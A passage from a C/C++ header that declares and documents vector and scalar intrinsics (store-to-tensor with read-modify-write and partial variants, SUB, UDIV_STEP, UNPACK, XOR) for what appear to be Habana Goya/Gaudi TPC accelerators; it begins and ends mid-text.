ST_L_V_LOW instruction.\n///\n/// @param addr Address to write to (SRC1).\n/// @param value Value to write (SRC2).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n///\n/// @{\nvoid v_f32_st_l_v_low(uint32_t addr, float64 value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid v_bf16_st_l_v_low(uint32_t addr, bfloat128 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid v_i32_st_l_v_low(uint32_t addr, int64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_l_v_low(uint32_t addr, uint64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_l_v_low(uint32_t addr, short128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_l_v_low(uint32_t addr, ushort128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_l_v_low(uint32_t addr, char256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_l_v_low(uint32_t addr, uchar256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_l_v_low(uint32_t addr, bool256 value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ ST_L_V_HIGH\n//\n\n/// @brief Represents ST_L_V_HIGH instruction.\n///\n/// @param addr Address to write to (SRC1).\n/// @param value Value to write (SRC2).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n///\n/// @{\nvoid v_f32_st_l_v_high(uint32_t addr, float64 value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid v_bf16_st_l_v_high(uint32_t addr, bfloat128 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid v_i32_st_l_v_high(uint32_t addr, int64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_l_v_high(uint32_t addr, uint64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_l_v_high(uint32_t addr, short128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_l_v_high(uint32_t addr, ushort128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_l_v_high(uint32_t addr, char256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_l_v_high(uint32_t addr, uchar256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_l_v_high(uint32_t addr, bool256 value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ ST_TNSR\n//\n\n/// @brief Represents ST_TNSR instruction.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n#if defined(__gaudi_plus__)\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n///\n/// @{\nvoid v_f32_st_tnsr(int5 ndx, const int8_t tensor, float64 value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid v_bf16_st_tnsr(int5 ndx, const int8_t tensor, bfloat128 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid v_i32_st_tnsr(int5 ndx, const int8_t tensor, int64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr(int5 ndx, const int8_t tensor, uint64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr(int5 ndx, const int8_t tensor, short128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr(int5 ndx, const int8_t tensor, ushort128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr(int5 ndx, const int8_t tensor, char256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr(int5 ndx, const int8_t tensor, uchar256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr(int5 ndx, const int8_t tensor, bool256 value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents ST_TNSR instruction with RMW_SEL switch.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param rmw Information for RMW operation (switches).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n#if defined(__gaudi_plus__)\n/// \\par Allowed RMW switches are:\n/// - [RMW_DT]\n/// \\li RMW_DT_INT8\n/// \\li RMW_DT_INT16\n/// \\li RMW_DT_INT32\n/// \\li RMW_DT_UINT8\n/// \\li RMW_DT_UINT16\n/// \\li RMW_DT_UINT32\n/// \\li RMW_DT_BF16\n/// \\li RMW_DT_FP32\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// - [RMW_OP]\n/// \\li RMW_OP_ADD\n/// \\li RMW_OP_SUB\n/// \\li RMW_OP_MIN\n/// \\li RMW_OP_MAX\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li RMW_TNSR_DT - When set RMW data type is taken from tensor descriptor, otherwise taken from switch value.\n/// \\li RMW_SET - Enable RMW.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nvoid v_f32_st_tnsr_rmw(int5 ndx, int8_t tensor, float64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_bf16_st_tnsr_rmw(int5 ndx, int8_t tensor, bfloat128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i32_st_tnsr_rmw(int5 ndx, int8_t tensor, int64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_rmw(int5 ndx, int8_t tensor, uint64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_rmw(int5 ndx, int8_t tensor, short128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_rmw(int5 ndx, int8_t tensor, ushort128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_rmw(int5 ndx, int8_t tensor, char256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_rmw(int5 ndx, int8_t tensor, uchar256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_rmw(int5 ndx, int8_t tensor, bool256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents ST_TNSR instruction with PARTIAL switch.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param size Size in elements minus 1.\n/// @param offset Offset in elements.\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n///\n/// @{\n#if defined(__gaudi_plus__)\nvoid v_f32_st_tnsr_partial(int5 ndx, int8_t tensor, float64 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_bf16_st_tnsr_partial(int5 ndx, int8_t tensor, bfloat128 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i32_st_tnsr_partial(int5 ndx, int8_t tensor, int64 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_partial(int5 ndx, int8_t tensor, uint64 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_partial(int5 ndx, int8_t tensor, short128 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_partial(int5 ndx, int8_t tensor, ushort128 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_partial(int5 ndx, int8_t tensor, char256 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_partial(int5 ndx, int8_t tensor, uchar256 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_partial(int5 ndx, int8_t tensor, bool256 value, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents ST_TNSR instruction with PARTIAL and RMW_SEL switches.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param rmw Information for RMW operation (switches).\n/// @param size Size in elements minus 1.\n/// @param offset Offset in elements.\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n#if defined(__gaudi_plus__)\n/// \\par Allowed RMW switches are:\n/// - [RMW_DT]\n/// \\li RMW_DT_INT8\n/// \\li RMW_DT_INT16\n/// \\li RMW_DT_INT32\n/// \\li RMW_DT_UINT8\n/// \\li RMW_DT_UINT16\n/// \\li RMW_DT_UINT32\n/// \\li RMW_DT_BF16\n/// \\li RMW_DT_FP32\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// - [RMW_OP]\n/// \\li RMW_OP_ADD\n/// \\li RMW_OP_SUB\n/// \\li RMW_OP_MIN\n/// \\li RMW_OP_MAX\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li RMW_TNSR_DT - When set RMW data type is taken from tensor descriptor, otherwise taken from switch value.\n/// \\li RMW_SET - Enable RMW.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nvoid v_f32_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, float64 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_bf16_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, bfloat128 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i32_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, int64 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, uint64 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, short128 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, ushort128 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, char256 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, uchar256 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_partial_rmw(int5 ndx, int8_t tensor, bool256 value, int rmw, int8_t size, int8_t offset, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ ST_TNSR_HIGH\n//\n\n/// @brief Represents ST_TNSR_HIGH instruction.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n#if defined(__gaudi_plus__)\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n///\n/// @{\nvoid v_f32_st_tnsr_high(int5 ndx, const int8_t tensor, float64 value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid v_bf16_st_tnsr_high(int5 ndx, const int8_t tensor, bfloat128 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid v_i32_st_tnsr_high(int5 ndx, const int8_t tensor, int64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_high(int5 ndx, const int8_t tensor, uint64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_high(int5 ndx, const int8_t tensor, short128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_high(int5 ndx, const int8_t tensor, ushort128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_high(int5 ndx, const int8_t tensor, char256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_high(int5 ndx, const int8_t tensor, uchar256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_high(int5 ndx, const int8_t tensor, bool256 value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents ST_TNSR_HIGH instruction with RMW_SEL switch.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param rmw Information for RMW operation (switches).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n#if defined(__gaudi_plus__)\n/// \\par Allowed RMW switches are:\n/// - [RMW_DT]\n/// \\li RMW_DT_INT8\n/// \\li RMW_DT_INT16\n/// \\li RMW_DT_INT32\n/// \\li RMW_DT_UINT8\n/// \\li RMW_DT_UINT16\n/// \\li RMW_DT_UINT32\n/// \\li RMW_DT_BF16\n/// \\li RMW_DT_FP32\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// - [RMW_OP]\n/// \\li RMW_OP_ADD\n/// \\li RMW_OP_SUB\n/// \\li RMW_OP_MIN\n/// \\li RMW_OP_MAX\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li RMW_TNSR_DT - When set RMW data type is taken from tensor descriptor, otherwise taken from switch value.\n/// \\li RMW_SET - Enable RMW.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nvoid v_f32_st_tnsr_high_rmw(int5 ndx, int8_t tensor, float64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_bf16_st_tnsr_high_rmw(int5 ndx, int8_t tensor, bfloat128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i32_st_tnsr_high_rmw(int5 ndx, int8_t tensor, int64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_high_rmw(int5 ndx, int8_t tensor, uint64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_high_rmw(int5 ndx, int8_t tensor, short128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_high_rmw(int5 ndx, int8_t tensor, ushort128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_high_rmw(int5 ndx, int8_t tensor, char256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_high_rmw(int5 ndx, int8_t tensor, uchar256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_high_rmw(int5 ndx, int8_t tensor, bool256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ ST_TNSR_LOW\n//\n\n/// @brief Represents ST_TNSR_LOW instruction.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n#if defined(__gaudi_plus__)\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n///\n/// @{\nvoid v_f32_st_tnsr_low(int5 ndx, const int8_t tensor, float64 value, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nvoid v_bf16_st_tnsr_low(int5 ndx, const int8_t tensor, bfloat128 value, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nvoid v_i32_st_tnsr_low(int5 ndx, const int8_t tensor, int64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_low(int5 ndx, const int8_t tensor, uint64 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_low(int5 ndx, const int8_t tensor, short128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_low(int5 ndx, const int8_t tensor, ushort128 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_low(int5 ndx, const int8_t tensor, char256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_low(int5 ndx, const int8_t tensor, uchar256 value, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_low(int5 ndx, const int8_t tensor, bool256 value, int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents ST_TNSR_LOW instruction with RMW_SEL switch.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param value Value to write (SRC3).\n/// @param rmw Information for RMW operation (switches).\n/// @param switches Instruction switches.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_PACK - When set, store pipe will perform packing according to PACK_DT.\n#endif\n#if defined(__gaudi_plus__)\n/// \\par Allowed RMW switches are:\n/// - [RMW_DT]\n/// \\li RMW_DT_INT8\n/// \\li RMW_DT_INT16\n/// \\li RMW_DT_INT32\n/// \\li RMW_DT_UINT8\n/// \\li RMW_DT_UINT16\n/// \\li RMW_DT_UINT32\n/// \\li RMW_DT_BF16\n/// \\li RMW_DT_FP32\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// - [RMW_OP]\n/// \\li RMW_OP_ADD\n/// \\li RMW_OP_SUB\n/// \\li RMW_OP_MIN\n/// \\li RMW_OP_MAX\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li RMW_TNSR_DT - When set RMW data type is taken from tensor descriptor, otherwise taken from switch value.\n/// \\li RMW_SET - Enable RMW.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nvoid v_f32_st_tnsr_low_rmw(int5 ndx, int8_t tensor, float64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_bf16_st_tnsr_low_rmw(int5 ndx, int8_t tensor, bfloat128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i32_st_tnsr_low_rmw(int5 ndx, int8_t tensor, int64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u32_st_tnsr_low_rmw(int5 ndx, int8_t tensor, uint64 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i16_st_tnsr_low_rmw(int5 ndx, int8_t tensor, short128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u16_st_tnsr_low_rmw(int5 ndx, int8_t tensor, ushort128 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i8_st_tnsr_low_rmw(int5 ndx, int8_t tensor, char256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_u8_st_tnsr_low_rmw(int5 ndx, int8_t tensor, uchar256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\nvoid v_i1_st_tnsr_low_rmw(int5 ndx, int8_t tensor, bool256 value, int rmw, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ SUB\n//\n\n/// @brief Represents SUB instruction.\n///\n/// @param a The first SRC operand to SUB (SRC1).\n/// @param b The second SRC operand to SUB (SRC2).\n/// @param switches Switches of SUB instructions.\n/// @param income Income value of DEST.\n/// @param switches Switches of SUB instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of the operation.\n///\n/// \\par Allowed switches are:\n/// \\li SW_SAT - Saturate (integer types only).\n/// \\li SW_NEG - Negates the destination after the operation.\n///\n/// @{\nfloat s_f32_sub(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_sub(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_sub(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_sub(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_sub(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_sub(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_sub(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_sub(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n\nfloat64 v_f32_sub_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sub_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sub_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sub_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_sub_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sub_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sub_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sub_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sub_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sub_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sub_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sub_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sub_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sub_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sub_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sub_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n/// @brief Represents SUB instruction for int5.\n///\n/// @param a The first SRC operand to SUB (SRC1).\n/// @param b The second SRC operand to SUB (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of SUB instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of the operation.\n///\n/// @{\nint5 i_i32_sub(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ UDIV_STEP, UDIV_4STEP, UDIV\n//\n\n#if defined(__goya__) || defined(__gaudi__)\n/// @brief Represents UDIV_STEP and UDIV_4STEP instructions.\n///\n/// This instruction performs 1 or 4 division steps of UINT32, UINT8, or UINT16.\n/// @param a Division denominator (SRC1).\n/// @param step The current iteration number. \\n\n/// For udiv_4step the instruction will perform this step as well as the 3 consecutive steps.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST is an in-out pair where: \\n\n/// In the first iteration \\p incom.v1 is the division numerator. \\n\n/// After 32/16/8 iterations (for UINT32/UINT16/UINT8 respectivly) \\n\n/// \\p DEST.v2 is the division quotient, and \\p DEST.v1 is the division reminder.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of the operation.\n///\n#endif\n/// @{\n#if defined(__goya__)\nuint32_t_pair_t u32_udiv_step(uint32_t a, uint32_t step, int switches=0, uint32_t_pair_t income={}, bool predicate=1, bool polarity=0);\nuint16_t_pair_t u16_udiv_step(uint16_t a, uint32_t step, int switches=0, uint16_t_pair_t income={}, bool predicate=1, bool polarity=0);\nuint8_t_pair_t u8_udiv_step(uint8_t a, uint32_t step, int switches=0, uint8_t_pair_t income={}, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi__)\nuint32_t_pair_t u32_udiv_4step(uint32_t a, uint32_t step, int switches=0, uint32_t_pair_t income={}, bool predicate=1, bool polarity=0);\nuint16_t_pair_t u16_udiv_4step(uint16_t a, uint32_t step, int switches=0, uint16_t_pair_t income={}, bool predicate=1, bool polarity=0);\nuint8_t_pair_t u8_udiv_4step(uint8_t a, uint32_t step, int switches=0, uint8_t_pair_t income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ UNPACK\n//\n\n/// @brief Represents UNPACK instruction.\n///\n/// @param a Value to be transformed (SRC1).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Unpacked value.\n///\n/// \\par Allowed switches are:\n/// - [GROUP_SOURCE]\n/// \\li SW_GROUP_0\n/// \\li SW_GROUP_1\n/// - [ELEMENT_STRIDE]\n/// \\li SW_STRIDE_2 - Every second element is valid.\n/// \\li SW_STRIDE_4 - Every forth element is valid.\n/// - [GROUP_HALF]\n/// \\li SW_GROUP_HALF_0 - The lower half of the input group is taken.\n/// \\li SW_GROUP_HALF_1 - The upper half of the input group is taken.\n///\n/// @{\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_unpack_b(bfloat128 a, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_unpack_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nshort128 v_i16_unpack_b(short128 a, int switches, short128 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_unpack_vb(short128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_unpack_b(ushort128 a, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_unpack_vb(ushort128 a, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_unpack_b(char256 a, int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_unpack_vb(char256 a, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_unpack_b(uchar256 a, int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_unpack_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n//\n// ------ XOR\n//\n\n/// @brief Represents XOR instruction.\n///\n/// @param a The first SRC operand to XOR (SRC1).\n/// @param b The second SRC operand to XOR (SRC2).\n/// @param switches Switches of XOR instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_xor(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_xor(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_xor(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_xor(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_xor(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_xor(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_xor(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_xor(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_xor(bool a, bool b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nfloat64 v_f32_xor_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_xor_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_xor_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_xor_b(bfloat128 